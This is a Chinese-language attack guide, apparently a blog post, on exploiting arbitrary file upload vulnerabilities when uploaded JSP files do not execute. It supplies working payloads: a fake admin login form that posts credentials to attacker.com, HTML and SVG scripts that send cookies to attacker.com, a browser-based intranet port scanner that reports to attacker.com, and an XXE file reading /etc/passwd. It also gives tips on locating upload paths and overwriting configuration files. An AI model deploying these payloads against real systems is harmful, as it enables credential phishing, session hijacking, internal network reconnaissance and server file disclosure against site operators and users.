🛡️ 无法执行 JSP 时,如何高效利用任意文件上传漏洞
🧩 漏洞背景
目标系统存在任意文件上传漏洞,攻击者可以上传任意类型的文件,包括 .jsp
、.html
、.js
等。但:
.jsp
虽可上传,但 无法执行(可能情况:Web 服务器不解析 JSP、权限限制、文件路径未知等)。- 文件真实路径已知,上传后文件访问不解析执行。
- 不能依赖传统的 WebShell 方式上线或执行命令。
那么,此时我们还能做什么呢?以下是完整的实战指南。
📌 核心目标
即使无法执行服务器端脚本,任意文件上传仍具备以下潜力:
- 信息扩大与目标侦察
- 诱导型攻击(钓鱼/社工)
- 辅助其他漏洞链构建(如 XSS、LFI、XXE 等)
🧭 利用方式与可行性分析
1. 上传 HTML + JS 页面诱导访问(钓鱼攻击)
思路: 上传恶意 HTML 页面,诱导管理员点击访问,执行 JS 代码,实现 XSS、信息收集或内网探测。
示例:上传诱导页面 login.html
<!-- fake_admin_login.html -->
<html>
<body>
<h2>后台登录已超时,请重新登录</h2>
<form action="http://attacker.com/collect" method="POST">
用户名:<input name="user"><br>
密码:<input type="password" name="pass"><br>
<input type="submit" value="登录">
</form>
</body>
</html>
利用方式:
- 上传该文件,设为
login.html
- 发送钓鱼链接到管理员或目标用户(如:
https://target.com/uploads/login.html
) - 等待凭据提交到攻击者服务器
2. 注入型 HTML/JS 页面 -> XSS 脚本执行
思路: 上传带有 XSS Payload 的 .html
, .svg
, .js
文件,诱导访问即触发脚本。
示例:xss.html
<html>
<body>
<script>
fetch("http://attacker.com/collect?cookie=" + document.cookie);
</script>
<h1>加载中...</h1>
</body>
</html>
利用方式:
- 上传
xss.html
- 访问链接诱导管理员点击(或目标系统自动加载 HTML 页面如日志、图像、文档)
- 自动发送管理员 Cookie 给攻击者,实现后台会话劫持
3. SVG 文件 XSS 利用(绕过限制)
思路: SVG 是合法图像格式,支持嵌入脚本,可绕过部分上传限制系统。
示例:xss.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)">
<circle cx="100" cy="100" r="50" fill="blue"/>
</svg>
利用方式:
- 上传
xss.svg
- 如果有“文件预览”、“图像查看”功能,管理员点击查看时即被触发
4. 利用上传文件进行内网信息收集(诱导扫描)
思路: 上传 JS 页面诱导用户浏览器请求内网地址,攻击者据此确认内网结构。
示例:intranet_scan.html
<script>
const ports = [80, 8080, 5000, 8000];
const subnet = "192.168.1.";
for (let i = 1; i <= 254; i++) {
ports.forEach(port => {
let target = `http://${subnet}${i}:${port}`;
fetch(target, { mode: 'no-cors' }).then(() => {
fetch("http://attacker.com/log?host=" + encodeURIComponent(target)); // 结果返回
});
});
}
</script>
利用方式:
- 诱导管理员或内部用户访问上传页面
- 浏览器触发内网请求
- 攻击者服务器接收成功请求,获得内网 IP 存活资产
5. 恶意 XML / JSON 文件触发 XXE / 配置注入
思路: 某些系统会解析上传的 XML/JSON 文件,若未安全配置,可能触发 XXE 或 JSON 配置注入。
示例:evil.xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
利用方式:
- 上传该 XML 文件(如配置文件、报告模板等)
- 等待系统解析并反馈结果
- 若 XXE 存在,攻击者能获取服务器本地文件内容
6. 文件覆盖 / 配置污染(需路径可控)
思路: 若上传路径可控或服务端目录结构可探测,尝试覆盖配置文件、JS 文件、日志文件等。
比如:
- 覆盖
.js
文件供前端加载 - 覆盖 Nginx 配置或 Spring YAML 配置(若应用会加载上传的配置)
🔍 如何获取文件真实路径
1. 响应内容回显分析
大多数文件上传接口在上传成功后会返回响应信息,其中可能包含如下内容:
- 文件的访问路径(绝对或相对)
{"url":"/upload/imgs/abc.jpg"}
- 存储路径或文件名
{"filePath":"C:\\web\\uploads\\abc.jsp"}
- 上传后的文件名(可用于拼接路径)
{"file":"abc.jsp"}
💡 建议:详细分析响应体中的 JSON、HTML、Headers,尤其是如 url
、path
、location
字段。
2. 功能页面自动引用上传文件
有些上传功能会直接在前端页面或后端逻辑中使用上传的文件,例如:
- 上传头像后,在用户详情页自动加载该图片
- 上传合同后,在某个预览地址中通过真实路径访问文件
- 富文本上传图片后,在文章编辑区预览
💡 建议:
- 上传文件后观察是否有图片、音频、PDF 等自动加载;
- 使用开发者工具(F12)监听是否有新请求发起,URL 中可能就含有真实路径;
- 若返回
img src
、iframe
、object
标签,路径常嵌入其中。
3. 路径猜解与探测(信息有限时)
若以上两种方式都失败,就只能根据已有线索猜测路径或进行探测。例如:
- 根据上传接口的路径推断访问路径:
- 上传接口为
/api/upload/image
- 通常可猜测访问路径可能为
/static/upload/image/xxx.png
- 上传接口为
- 常见路径规则尝试:
/uploads/
/userfiles/
/static/
/assets/upload/
/files/
- 使用目录扫描工具(如
dirsearch
)配合上传文件名进行路径爆破。 - 结合响应文件名构造路径:
- 返回了文件名
abc.jpg
,你可以尝试:/upload/abc.jpg
/uploads/images/abc.jpg
- 返回了文件名
💡 注意:猜测路径时尽量使用时间戳、UUID、用户ID等组合逻辑,还可结合源码、JS、路径泄漏等辅助信息。
📎 总结
- 不要一开始就死磕
.jsp
的执行- 尽量从业务功能角度多思考上传文件被如何使用、预览、包含或处理
- 善用 HTML + JS 组合的诱导和信息获取能力
- 一旦能访问上传文件,钓鱼 + XSS 是最快获取权限的方式之一
利用方式 | 文件类型 | 目标效果 | 难度 | 附加条件 |
---|---|---|---|---|
HTML 钓鱼/社工 | .html | 获取凭据,诱导访问 | ⭐ | 用户配合/诱导 |
JS 扫描脚本 | .js /.html | 内网探测/信息泄露 | ⭐⭐ | 管理员需访问 |
XSS 攻击 | .html /.svg | 打 Cookie, 后台劫持会话 | ⭐⭐⭐ | 浏览器解析 +诱导点击 |
XXE 注入 | .xml | 读取服务器文件 | ⭐⭐⭐ | 服务端解析器 需存在 XXE 漏洞 |
SVG 绕过上传限制 | .svg | 图像预览时触发 | ⭐⭐ | 图像可预览 /自动渲染 |
配置覆盖攻击 | 任意 | 覆盖 JS/config, 污染执行点 | ⭐⭐⭐⭐ | 上传路径可控 |
暂无评论内容